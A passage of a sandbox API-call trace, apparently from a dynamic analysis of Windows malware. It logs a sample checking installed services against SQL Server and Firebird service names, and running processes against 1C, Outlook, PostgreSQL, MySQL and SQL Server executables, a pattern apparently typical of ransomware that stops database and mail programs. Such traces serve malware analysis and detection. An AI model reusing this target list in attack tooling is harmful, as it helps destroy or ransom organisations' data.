lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0031.891] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0031.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0031.891] lstrlenW (lpString="DcomLaunch") returned 10 [0031.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0031.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0031.891] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0031.891] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0031.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0031.891] lstrlenW (lpString="Dhcp") returned 4 [0031.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0031.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0031.891] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0031.891] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0031.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0031.892] lstrlenW (lpString="Dnscache") returned 8 [0031.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0031.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0031.892] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0031.892] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0031.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0031.892] lstrlenW (lpString="DPS") returned 3 [0031.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0031.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0031.892] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0031.892] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0031.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0031.892] lstrlenW (lpString="eventlog") returned 8 [0031.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0031.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0031.892] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0031.892] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0031.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0031.892] lstrlenW (lpString="EventSystem") returned 11 [0031.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0031.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0031.892] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0031.892] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0031.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0031.892] lstrlenW (lpString="gpsvc") returned 5 [0031.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0031.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0031.892] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0031.892] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0031.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0031.892] lstrlenW (lpString="iphlpsvc") returned 8 [0031.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0031.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0031.892] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0031.892] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0031.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0031.892] lstrlenW (lpString="LanmanServer") returned 12 [0031.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0031.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0031.892] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0031.892] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0031.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0031.892] lstrlenW (lpString="LanmanWorkstation") returned 17 [0031.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0031.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0031.893] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0031.893] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0031.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0031.893] lstrlenW (lpString="lmhosts") returned 7 [0031.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0031.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0031.893] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0031.893] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0031.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0031.893] lstrlenW (lpString="MMCSS") returned 5 [0031.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0031.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0031.893] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0031.893] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0031.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0031.893] lstrlenW (lpString="MpsSvc") returned 6 [0031.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0031.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0031.893] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0031.893] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0031.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0031.893] lstrlenW (lpString="Netman") returned 6 [0031.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0031.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0031.893] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0031.893] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0031.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0031.893] lstrlenW (lpString="netprofm") returned 8 [0031.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0031.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0031.893] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0031.893] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0031.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0031.893] lstrlenW (lpString="NlaSvc") returned 6 [0031.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0031.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0031.894] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0031.894] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0031.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0031.894] lstrlenW (lpString="nsi") returned 3 [0031.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0031.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0031.894] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0031.894] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0031.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0031.894] lstrlenW (lpString="PcaSvc") returned 6 [0031.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0031.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0031.894] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0031.894] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0031.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0031.894] lstrlenW (lpString="PlugPlay") returned 8 [0031.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0031.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0031.894] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0031.894] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0031.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0031.894] lstrlenW (lpString="Power") returned 5 [0031.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0031.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0031.894] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0031.894] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0031.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0031.894] lstrlenW (lpString="ProfSvc") returned 7 [0031.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0031.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0031.894] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0031.894] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0031.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0031.894] lstrlenW (lpString="RpcEptMapper") returned 12 [0031.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0031.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0031.894] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0031.894] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0031.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0031.894] lstrlenW (lpString="RpcSs") returned 5 [0031.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0031.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0031.895] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0031.895] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0031.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0031.895] lstrlenW (lpString="SamSs") returned 5 [0031.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0031.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0031.895] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0031.895] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0031.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0031.895] lstrlenW (lpString="Schedule") returned 8 [0031.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0031.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0031.895] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0031.895] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0031.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0031.895] lstrlenW (lpString="SENS") returned 4 [0031.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0031.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0031.895] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0031.895] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0031.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0031.895] lstrlenW (lpString="ShellHWDetection") returned 16 [0031.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0031.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0031.895] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0031.895] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0031.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0031.895] lstrlenW (lpString="Spooler") returned 7 [0031.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0031.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0031.895] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0031.895] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0031.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0031.895] lstrlenW (lpString="SysMain") returned 7 [0031.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0031.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0031.895] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0031.895] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0031.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0031.895] lstrlenW (lpString="Themes") returned 6 [0031.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0031.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0031.895] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0031.895] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0031.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0031.895] lstrlenW (lpString="TrkWks") returned 6 [0031.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0031.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0031.895] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0031.896] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0031.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0031.896] lstrlenW (lpString="UxSms") returned 5 [0031.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0031.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0031.896] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0031.896] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0031.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0031.896] lstrlenW (lpString="WdiServiceHost") returned 14 [0031.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0031.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0031.896] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0031.896] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0031.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0031.896] lstrlenW (lpString="WdiSystemHost") returned 13 [0031.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0031.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0031.896] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0031.896] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0031.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0031.896] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0031.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0031.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0031.896] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0031.896] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0031.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0031.896] lstrlenW (lpString="Winmgmt") returned 7 [0031.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0031.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0031.896] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0031.896] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0031.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0031.896] lstrlenW (lpString="WPDBusEnum") returned 10 [0031.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0031.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0031.896] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0031.896] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0031.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0031.896] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b91e8 | out: hHeap=0x880000) returned 1 [0031.896] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0031.900] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0031.900] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0031.900] lstrlenW (lpString="System") returned 6 [0031.900] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0031.900] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0031.900] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0031.900] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0031.900] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0031.900] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0031.900] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0031.900] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0031.901] lstrlenW (lpString="smss.exe") returned 8 [0031.901] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0031.901] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0031.901] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0031.901] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0031.901] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0031.901] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0031.901] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0031.901] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0031.901] lstrlenW (lpString="csrss.exe") returned 9 [0031.901] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0031.901] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0031.901] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0031.901] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0031.901] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0031.901] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0031.901] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0031.901] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0031.902] lstrlenW (lpString="wininit.exe") returned 11 [0031.902] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0031.902] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0031.902] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0031.902] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0031.902] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0031.902] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0031.902] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0031.902] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0031.902] lstrlenW (lpString="csrss.exe") returned 9 [0031.902] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0031.902] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0031.902] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0031.902] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0031.902] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0031.902] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0031.902] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0031.903] lstrlenW (lpString="winlogon.exe") returned 12 [0031.903] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0031.903] lstrlenW (lpString="services.exe") returned 12 [0031.903] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0031.903] lstrlenW (lpString="lsass.exe") returned 9 [0031.904] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0031.904] lstrlenW (lpString="lsm.exe") returned 7 [0031.904] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.904] lstrlenW (lpString="svchost.exe") returned 11 [0031.904] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.905] lstrlenW (lpString="svchost.exe") returned 11 [0031.905] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.905] lstrlenW (lpString="svchost.exe") returned 11 [0031.905] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.905] lstrlenW (lpString="svchost.exe") returned 11 [0031.905] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.906] lstrlenW (lpString="svchost.exe") returned 11 [0031.906] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0031.906] lstrlenW (lpString="audiodg.exe") returned 11 [0031.906] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, 